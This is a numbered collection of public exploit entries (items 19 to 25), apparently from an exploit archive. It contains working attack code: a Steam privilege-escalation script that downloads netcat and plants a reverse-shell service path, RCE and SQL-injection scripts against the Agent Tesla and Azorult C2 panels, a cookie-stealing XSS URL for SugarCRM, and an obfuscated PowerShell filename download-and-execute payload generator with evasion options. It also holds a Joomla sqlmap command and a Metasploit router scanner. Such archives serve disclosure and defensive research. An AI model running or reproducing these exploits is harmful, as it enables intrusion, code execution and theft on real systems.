  19. $SteamRegKey = "HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\NSIS" $MSIRegKey = "HKLM:\SYSTEM\CurrentControlSet\Services\msiserver" $RegDir = "C:\Windows\Temp\RegLN.exe" $PayDir = "C:\Windows\Temp\payload.exe" $Payload = "c:\windows\system32\cmd.exe /c c:\windows\temp\payload.exe 127.0.0.1 4444 -e cmd.exe" $PayDownload = "https://raw.githubusercontent.com/AbsoZed/SteamPrivEsc/master/nc.exe" $RegDownload = "https://raw.githubusercontent.com/AbsoZed/SteamPrivEsc/master/RegLN.exe" $WebClient = New-Object System.Net.WebClient If(!((Test-Path -Path $RegDir) -And (Test-Path -Path $PayDir))) { $WebClient.DownloadFile($PayDownload, $PayDir) $WebClient.DownloadFile($RegDownload, $RegDir) } If(Get-ItemProperty -Path $SteamRegKey -Name ImagePath -ErrorAction SilentlyContinue) { Start-Service -DisplayName "Steam Client Service" Set-ItemProperty -Path $MSIRegKey -Name "ImagePath" -Value $Payload Start-Service -Name "msiserver" } Else { Remove-Item -Path $SteamRegKey -Recurse Start-Process -FilePath $RegDir -ArgumentList "HKLM\Software\Wow6432Node\Valve\Steam\NSIS HKLM\SYSTEM\CurrentControlSet\Services\msiserver" Start-Service -DisplayName "Steam Client Service" Set-ItemProperty -Path $MSIRegKey -Name "ImagePath" -Value $Payload Start-Service -Name "msiserver" }
  20. import requests import argparse import base64 # Agent Tesla C2 RCE by prsecurity # For research purposes only. Don't pwn what you don't own. def get_args(): parser = argparse.ArgumentParser( prog="agent_tesla_sploit.py", formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=50), epilog= ''' This script will exploit the RCE/SQL vulnerability in Agent Tesla Dashboard. ''') parser.add_argument("target", help="URL of WebPanel (ex: http://target.com/WebPanel/)") parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)") parser.add_argument("-p", "--proxy", default="socks5://localhost:9150", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = tor)") args = parser.parse_args() return args def pwn_target(target, command, proxy): requests.packages.urllib3.disable_warnings() proxies = {'http': proxy, 'https': proxy} print('[*] Probing...') get_params = { 'table':'screens', 'primary':'HWID', 'clmns':'a:1:{i:0;a:3:{s:2:"db";s:4:"HWID";s:2:"dt";s:4:"HWID";s:9:"formatter";s:4:"exec";}}', 'where': base64.b64encode("1=1 UNION SELECT \"{}\"".format(command).encode('utf-8')) } target = target + '/server_side/scripts/server_processing.php' try: r = requests.get("http://bot.whatismyipaddress.com", proxies=proxies) print("[*] Your IP: {}".format(r.text)) headers = { "User-agent":"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko" } r = requests.get(target, params=get_params, headers=headers, verify=False, proxies=proxies) result = r.json()['data'][-1]['HWID'] print('[+] {}'.format(result)) except: print("[-] ERROR: Something went wrong.") print(r.text) raise def main(): print () print ('Agent Tesla RCE by prsecurity.') args = get_args() pwn_target(args.target.strip(), args.command.strip(), args.proxy.strip()) if __name__ == '__main__': main()
  21. import requests import argparse import base64 # Azorult 3.3.1 C2 SQLi by prsecurity # For research purposes only. Don't pwn what you don't own. # change GUID and XOR key to specific beacon, can be extracted from a sample guid = "353E77DF-928B-4941-A631-512662F0785A3061-4E40-BBC2-3A27F641D32B-54FF-44D7-85F3-D950F519F12F353E77DF-928B-4941-A631-512662F0785A3061-4E40-BBC2-3A27F641D32B-54FF-44D7-85F3-D950F519F12F" key = "\x03\x55\xae" def get_args(): parser = argparse.ArgumentParser( prog="azorult_sploit.py", formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=50), epilog= ''' This script will exploit the SQL vulnerability in Azorult 3.3.1 Dashboard. ''') parser.add_argument("target", help="URL of index.php (ex: http://target.com/index.php)") parser.add_argument("-n", "--id_record", default="1", help="id of record to dump") parser.add_argument("-p", "--proxy", default="http://localhost:8080", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = tor)") args = parser.parse_args() return args def CB_XORm(data, key): j=0 key = list(key) data = list(data) tmp = list() for i in range(len(data)): tmp.append(chr(ord(data[i])^ord(key[j]))) j += 1 if j > (len(key)-1): j = 0 return "".join(tmp) def pwn_target(target, num_records, proxy): requests.packages.urllib3.disable_warnings() proxies = {'http': proxy, 'https': proxy} try: r = requests.get("http://bot.whatismyipaddress.com", proxies=proxies) print("[*] Your IP: {}".format(r.text)) headers = { "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko" } print('[+] Getting URL, LOGIN AND PASS') data = [ "|".join([ "1","2","3","4","5","6","7","8","9","10","11","12" ]), "\r\n".join([ "|".join(["1","2","3","4"," "*255+"'", ", (select version())), (111,(select * from (select concat({},0x3a,p_p2) from passwords limit {},1) dumb),333,4,5,6,7), (111,(select * from (select concat({},0x3a,p_p3) from passwords limit {},1) dumb),333,4,5,6,7) -- ".format(num_records, num_records,num_records, num_records)]) ]), "c", "d", ":".join(["'11","22"]) ] payload = CB_XORm(guid.join(data), key) r = requests.post(target, data=payload, headers=headers, verify=False, proxies=proxies) if r.text != "OK": print("[-] ERROR: Something went wrong. Maybe Azorult version is not 3.3.1?") raise print('[+] Getting LOGIN/PASS') data = [ "|".join([ "1","2","3","4","5","6","7","8","9","10","11","12" ]), "\r\n".join([ "|".join(["1","2","3","4"," "*255+"'", ", (select version())), (111,(select * from (select concat({},0x3a,p_p1) from passwords limit {},1) dumb),333,4,5,6,7) -- ".format(num_records, num_records)]) ]), "c", "d", ":".join(["'11","22"]) ] payload = CB_XORm(guid.join(data), key) r = requests.post(target, data=payload, headers=headers, verify=False, proxies=proxies) if r.text != "OK": print("[-] ERROR: Something went wrong. Maybe Azorult version is not 3.3.1?") raise print('[+] If this worked, you will see two new records in password table at guest.php') except: print("[-] ERROR: Something went wrong.") print(r.text) raise def main(): print () print ('Azorult 3.3.1 SQLi by prsecurity') args = get_args() pwn_target(args.target.strip(), args.num_records.strip(), args.proxy.strip()) if __name__ == '__main__': main()
  22. # Exploit Title: 0Day UnauthenticatedXSS SugarCRM Enterprise # Google Dork: N/A # Date: 11.08.2019 # Exploit Author: Ilca Lucian Florin # Vendor Homepage: https://www.sugarcrm.com # Version: 9.0.0 # Tested on: Windows 7 / Internet Explorer 11 / Google Chrome 76 # CVE : 2019-14974 The application fails to sanitize user input on https://sugarcrm-qms.XXX.com/mobile/error-not-supported-platform.html and reflect the input directly in the HTTP response, allowing the hacker to exploit the vulnerable parameter and have malicious content executed in the victim's browser. Steps to reproduce: 1.Attacker will craft a malicious payload and create a legitimate link with the payload included; 2. Attacker will send the link to the victim; 3. Upon clicking on the link, the malicious payload will be reflected in the response and executed in the victim’s browser. The behavior can be observed by visiting the following URL: https://server/mobile/error-not-supported-platform.html?desktop_url=javascript:alert(document.cookie);//itms:// Clicking on FULL VERSION OF WEBSITE will trigger the XSS. Impact statement: Although requiring user interaction, reflected XSS impact might range from web defacement to stealing user info and full account takeover, depending on the circumstances. Recommendation: Always ensure to validate parameters input and encode the output.
  23. ''' [+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt [+] ISR: Apparition Security [Vendor] www.microsoft.com [Product] Windows PowerShell Windows PowerShell is a Windows command-line shell designed especially for system administrators. PowerShell includes an interactive prompt and a scripting environment that can be used independently or in combination. [Vulnerability Type] Unsanitized Filename Command Execution [CVE Reference] N/A [Security Issue] PowerShell can potentially execute arbitrary code when running specially named scripts due to trusting unsanitized filenames. This occurs when ".ps1" files contain semicolons ";" or spaces as part of the filename, causing the execution of a different trojan file; or the running of unexpected commands straight from the filename itself without the need for a second file. For trojan files it doesn't need to be another PowerShell script and can be one of the following ".com, .exe, .bat, .cpl, .js, .vbs and .wsf. Therefore, the vulnerably named file ".\Hello;World.ps1" will instead execute "hello.exe", if that script is invoked using the standard Windows shell "cmd.exe" and "hello.exe" resides in the same directory as the vulnerably named script. However, when such scripts are run from PowerShells shell and not "cmd.exe" the "&" (call operator) will block our exploit from working. Still, if the has user enabled ".ps1" scripts to open with PowerShell as its default program, all it takes is double click the file to trigger the exploit and the "& call operator" will no longer save you. Also, if the user has not enabled PowerShell to open .ps1 scripts as default; then running the script from cmd.exe like: c:\>powershell "\Hello;World.ps1" will also work without dropping into the PowerShell shell. My PoC will download a remote executable save it to the victims machine and then execute it, and the PS files contents are irrelevant. Also, note I use "%CD" to target the current working directory where the vicitm has initially opened it, after it calls "iwr" (invoke-webrequest) abbreviated for space then it sleeps for 2 seconds and finally executes. C:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.1.10/n -O %CD%\n.exe ;sleep -s 2;start n.exe'")) This can undermine the integrity of PowerShell as it potentially allows unexpected code execution; even when the scripts contents are visually reviewed. We may also be able to bypass some endpoint protection or IDS systems that may look at the contents or header of a file but not its filename where are commands can be stored. For this to work the user must have enabled PowerShell as its default program when opening ".ps1" files. First, we create a Base64 encoded filename for obfuscation; that will download and execute a remote executable named in this case "n.exe". c:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.1.10/n -O %CD%\n.exe ;sleep -s 2;start n.exe'")) Give the PS script a normal begining name, then separate commands using ";" semicolon e.g. Test;powershell -e <BASE64 ENCODED COMMANDS>;2.ps1 Create the executable without a file extension to save space for the filename then save it back using the -O parameter. The "-e" is abbreviated for EncodedCommand to again save filename space. Host the executable on web-server or just use python -m SimpleHTTPServer 80 or whatever. Double click to open in PowerShell watch the file get downloaded saved and executed! My example is used as a "filename embedded downloader", but obviously we can just call other secondary trojan files of various types in the same directory. Note: User interaction is required, and obviously running any random PS script is dangerous... but hey we looked at the file content and it simply printed a string! [Exploit / PoC] ''' from base64 import b64encode from base64 import b64decode from socket import * import argparse,sys,socket,struct,re #GGPowerShell #Microsoft Windows PowerShell - Unsantized Filename RCE Dirty File Creat0r. # #Original advisory: #http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt # #Original PoC: #https://www.youtube.com/watch?v=AH33RW9g8J4 # #By John Page (aka hyp3rlinx) #Apparition Security #========================= #Features added to the original advisory script: # #Original script may have issues with -O for save files with certain PS versions, so now uses -OutFile. # #Added: server port option (Base64 mode only) # #Added: -z Reverse String Command as an alternative to default Base64 encoding obfuscation. #Example self reversing payload to save and execute a file "n.js" from 127.0.0.1 port 80 is only 66 bytes. # #$a='sj.n trats;sj.n eliFtuO- 1.0.0.721 rwi'[-1..-38]-join'';iex $a # #-z payload requires a forced malware download on server-side, defaults port 80 and expects an ip-address. # #Added: IP to Integer for extra evasion - e.g 127.0.0.1 = 2130706433 # #Added: Prefix whitespace - attempt to hide the filename payload by push it to the end of the filename. # #Since we have space limit, malware names should try be 5 chars max e.g. 'a.exe' including the ext to make room for #IP/Host/Port and whitespace especially when Base64 encoding, for reverse command string option we have more room to play. #e.g. a.exe or n.js (1 char for the name plus 2 to 3 chars for ext plus the dot). # #All in the name of the dirty PS filename. #========================================= BANNER=''' ________________ _____ __ _____ __ __ / ____/ ____/ __ \____ _ _____ _____/ ___// /_ |__ // / / / / / __/ / __/ /_/ / __ \ | /| / / _ \/ ___/\__ \/ __ \ /_ </ / / / / /_/ / /_/ / ____/ /_/ / |/ |/ / __/ / ___/ / / / /__/ / /___/ /___ \____/\____/_/ \____/|__/|__/\___/_/ /____/_/ /_/____/_____/_____/ By hyp3rlinx ApparitionSec ''' FILENAME_PREFIX="Hello-World" POWERSHELL_OBFUSCATED="poWeRshELl" DEFAULT_PORT="80" DEFAULT_BASE64_WSPACE_LEN=2 MAX_CHARS = 254 WARN_MSG="Options: register shorter domain name, try <ip-address> -i flag, force-download or omit whitespace." def parse_args(): parser.add_argument("-s", "--server", help="Server to download malware from.") parser.add_argument("-p", "--port", help="Malware server port, defaults 80.") parser.add_argument("-m", "--locf", help="Name for the Malware upon download.") parser.add_argument("-r", "--remf", nargs="?", help="Malware to download from the remote server.") parser.add_argument("-f", "--force_download", nargs="?", const="1", help="No malware name specified, malwares force downloaded from the server web-root, malware type must be known up front.") parser.add_argument("-z", "--rev_str_cmd", nargs="?", const="1", help="Reverse string command obfuscation Base64 alternative, ip-address and port 80 only, Malware must be force downloaded on the server-side, see -e.") parser.add_argument("-w", "--wspace", help="Amount of whitespace to use for added obfuscation, Base64 is set for 2 bytes.") parser.add_argument("-i", "--ipevade", nargs="?", const="1", help="Use the integer value of the malware servers IP address for obfuscation/evasion.") parser.add_argument("-e", "--example", nargs="?", const="1", help="Show example use cases") return parser.parse_args() #self reverse PS commands def rev_str_command(args): malware=args.locf[::-1] revload=malware revload+=" trats;" revload+=malware revload+=" eliFtuO- " revload+=args.server[::-1] revload+=" rwi" payload = "$a='" payload+=malware payload+=" trats;" payload+=malware payload+=" eliFtuO- " payload+=args.server[::-1] payload+=" rwi'[-1..-"+str(len(revload)) payload+="]-join '';iex $a" return payload def ip2int(addr): return struct.unpack("!I", inet_aton(addr))[0] def ip2hex(ip): x = ip.split('.') return '0x{:02X}{:02X}{:02X}{:02X}'.format(*map(int, x)) def obfuscate_ip(target): IPHex = ip2hex(target) return str(ip2int(IPHex)) def decodeB64(p): return b64decode(p) def validIP(host): try: socket.inet_aton(host) return True except socket.error: return False def filename_sz(space,cmds,mode): if mode==0: return len(FILENAME_PREFIX)+len(space)+ 1 +len(POWERSHELL_OBFUSCATED)+ 4 + len(cmds)+ len(";.ps1") else: return len(FILENAME_PREFIX) + len(space) + 1 + len(cmds) + len(";.ps1") def check_filename_size(sz): if sz > MAX_CHARS: print "Filename is", sz, "chars of max allowed", MAX_CHARS print WARN_MSG return False return True def create_file(payload, args): try: f=open(payload, "w") f.write("Write-Output 'Have a good night!'") f.close() except Exception as e: print "[!] File not created!" print WARN_MSG return False return True def cmd_info(t,p): print "PAYLOAD: "+p if t==0: print "TYPE: Base64 encoded payload." else: print "TYPE: Self Reversing String Command (must force-download the malware server side)." def main(args): global FILENAME_PREFIX if len(sys.argv)==1: parser.print_help(sys.stderr) sys.exit(1) if args.example: usage() exit() sz=0 space="" b64payload="" reverse_string_cmd="" if not validIP(args.server): if not args.rev_str_cmd: if args.server.find("http://")==-1: args.server = "http://"+args.server if args.ipevade: args.server = args.server.replace("http://", "") if validIP(args.server): args.server = obfuscate_ip(args.server) else: print "[!] -i (IP evasion) requires a valid IP address, see Help -h." exit() if not args.locf: print "[!] Missing local malware save name -m flag see Help -h." exit() if not args.rev_str_cmd: if not args.remf and not args.force_download: print "[!] No remote malware specified, force downloading are we? use -f or -r flag, see Help -h." exit() if args.remf and args.force_download: print "[!] Multiple download options specified, use -r or -f exclusively, see Help -h." exit() if args.force_download: args.remf="" if args.remf: #remote file can be extension-less if not re.findall("^[~\w,a-zA-Z0-9]$", args.remf) and not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.remf): print "[!] Invalid remote malware name specified, see Help -h." exit() #local file extension is required if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf): print "[!] Local malware name "+args.locf+" invalid, must contain no paths and have the correct extension." exit() if not args.port: args.port = DEFAULT_PORT if args.wspace: args.wspace = int(args.wspace) space="--IAA="*DEFAULT_BASE64_WSPACE_LEN if args.wspace != DEFAULT_BASE64_WSPACE_LEN: print "[!] Ignoring", args.wspace, "whitespace amount, Base64 default is two bytes" filename_cmd = "powershell iwr " filename_cmd+=args.server filename_cmd+=":" filename_cmd+=args.port filename_cmd+="/" filename_cmd+=args.remf filename_cmd+=" -OutFile " filename_cmd+=args.locf filename_cmd+=" ;sleep -s 2;start " filename_cmd+=args.locf b64payload = b64encode(filename_cmd.encode('UTF-16LE')) sz = filename_sz(space, b64payload, 0) FILENAME_PREFIX+=space FILENAME_PREFIX+=";" FILENAME_PREFIX+=POWERSHELL_OBFUSCATED FILENAME_PREFIX+=" -e " FILENAME_PREFIX+=b64payload FILENAME_PREFIX+=";.ps1" COMMANDS = FILENAME_PREFIX else: if args.server.find("http://")!=-1: args.server = args.server.replace("http://","") if args.force_download: print "[!] Ignored -f as forced download is already required with -z flag." if args.wspace: space=" "*int(args.wspace) if args.remf: print "[!] Using both -z and -r flags is disallowed, see Help -h." exit() if args.port: print "[!] -z flag must use port 80 as its default, see Help -h." exit() if not re.findall("^[~\w,\s-]+\.[A-Za-z0-9]{2,3}$", args.locf): print "[!] Local Malware name invalid -m flag." exit() reverse_string_cmd = rev_str_command(args) sz = filename_sz(space, reverse_string_cmd, 1) FILENAME_PREFIX+=space FILENAME_PREFIX+=";" FILENAME_PREFIX+=reverse_string_cmd FILENAME_PREFIX+=";.ps1" COMMANDS=FILENAME_PREFIX if check_filename_size(sz): if create_file(COMMANDS,args): if not args.rev_str_cmd: cmd_info(0,decodeB64(b64payload)) else: cmd_info(1,reverse_string_cmd) return sz return False def usage(): print "(-r) -s <domain-name.xxx> -p 5555 -m g.js -r n.js -i -w 2" print " Whitespace, IP evasion, download, save and exec malware via Base64 encoded payload.\n" print " Download an save malware simply named '2' via port 80, rename to f.exe and execute." print " -s <domain-name.xxx> -m a.exe -r 2\n" print "(-f) -s <domain-name.xxx> -f -m d.exe" print " Expects force download from the servers web-root, malware type must be known upfront.\n" print "(-z) -s 192.168.1.10 -z -m q.cpl -w 150" print " Reverse string PowerShell command alternative to Base64 obfuscation" print " uses self reversing string of PS commands, malware type must be known upfront." print " Defaults port 80, ip-address only and requires server-side forced download from web-root.\n" print "(-i) -s 192.168.1.10 -i -z -m ~.vbs -w 100" print " Reverse string command with (-i) IP as integer value for evasion.\n" print " Base64 is the default command obfuscation encoding, unless -z flags specified." if __name__=="__main__": print BANNER parser = argparse.ArgumentParser() sz = main(parse_args()) if sz: print "DIRTY FILENAME SIZE: %s" % (sz) +"\n" print "PowerShell Unsantized Filename RCE file created." ''' [POC Video URL] https://www.youtube.com/watch?v=AH33RW9g8J4 [Network Access] Remote [Severity] High [Disclosure Timeline] Vendor Notification: July 20, 2019 MSRC "does not meet the bar for security servicing" : July 23, 2019 August 1, 2019 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). ''' hyp3rlinx
  24. #Exploit Title: Joomla! component com_jsjobs - 'customfields.php' SQL Injection #Dork: inurl:"index.php?option=com_jsjobs" #Date: 13.08.19 #Exploit Author: qw3rTyTy #Vendor Homepage: https://www.joomsky.com/ #Software Link: https://www.joomsky.com/5/download/1 #Version: 1.2.5 #Tested on: Debian/nginx/joomla 3.9.0 ##################################### #Vulnerability details: ##################################### Vulnerable code is in line 171 in file site/models/customfields.php 169 function dataForDepandantField( $val , $childfield){ 170 $db = $this->getDBO(); 171 $query = "SELECT userfieldparams,fieldtitle FROM `#__js_job_fieldsordering` WHERE field = '".$childfield."'"; //!!! 172 $db->setQuery($query); 173 $data = $db->loadObject(); ##################################### #PoC: ##################################### $> sqlmap.py -u "http://localhost/index.php?option=com_jsjobs&task=customfields.datafordepandantfield&fvalue=0&child=0" --random-agent --dbms=mysql --method GET -p child --technique E
  25. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'CVE-2019-13101 D-Link DIR-600M Incorrect Access Control', 'Description' => %q{ This module attempts to find D-Link router DIR-600M which is vulnerable to Incorrect Access Control. The vulnerability exists in wan.htm, which is accessible without authentication. This vulnerabilty can lead an attacker to manipulate WAN settings. This module has been tested successfully on Firmware Version 3.01,3.02,3.03,3.04,3.05,3.06. }, 'Author' => [ 'Devendra Singh Solanki <devendra0x0[at]gmail.com>' ], 'License' => MSF_LICENSE, 'References' => [ 'CVE', '2019-13101' ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 08 2019')) register_options( [ Opt::RPORT(80) ]) end def run_host(ip) res = send_request_cgi({'uri' => '/login.htm'}) if res.nil? or res.code == 404 print_error("#{rhost}:#{rport} - Host is down.") return end if res and res.code == 200 and res.body =~ /D-Link/ print_good("#{rhost}:#{rport} - It is a D-Link router") else print_error("#{rhost}:#{rport} - Not a D-Link router") return end res = send_request_cgi({'uri' => '/wan.htm'}) if res and res.code == 200 and res.body =~ /PPPoE/ print_good("#{rhost}:#{rport} - Router is vulnerable for Incorrect Access Control. CVE-2019-13101") else print_error("#{rhost}:#{rport} - Router is with different firmware.") return end end end